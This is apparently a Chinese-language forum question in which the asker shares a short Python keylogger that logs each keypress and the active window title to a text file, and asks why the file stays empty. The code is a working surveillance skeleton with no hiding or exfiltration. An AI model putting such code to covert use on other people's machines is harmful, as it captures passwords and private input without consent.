键盘记录器未记录txt文档中的字符

Question

我用python制作的键盘记录器没有记录我指定的文本文件中的字符。只要我在程序结束后打开它，它就会把它留空。 代码如下：

import win32gui
from datetime import date
from pynput.keyboard import Listener, Key


filename = "key_log.txt"  # The file to write characters to
file = open(filename, 'a')
file.write(str(date.today()))
file.close()
    
def on_press(key):
    window = win32gui.GetForegroundWindow()    
    active_win = win32gui.GetWindowText(window)    
    f = open(filename, 'a')  # Open the file        
    f.write('\n'+active_win)

    if hasattr(key, 'char'):  # Write the character pressed if available
        f.write(''+key.char)
    else:  # If anything else was pressed, write [<key_name>]
        f.write('[' + key.name + ']')

    f.close()  # Close the file

    
with Listener(on_press=on_press) as listener:  # Setup the listener
    listener.join()  # Join the thread to the main thread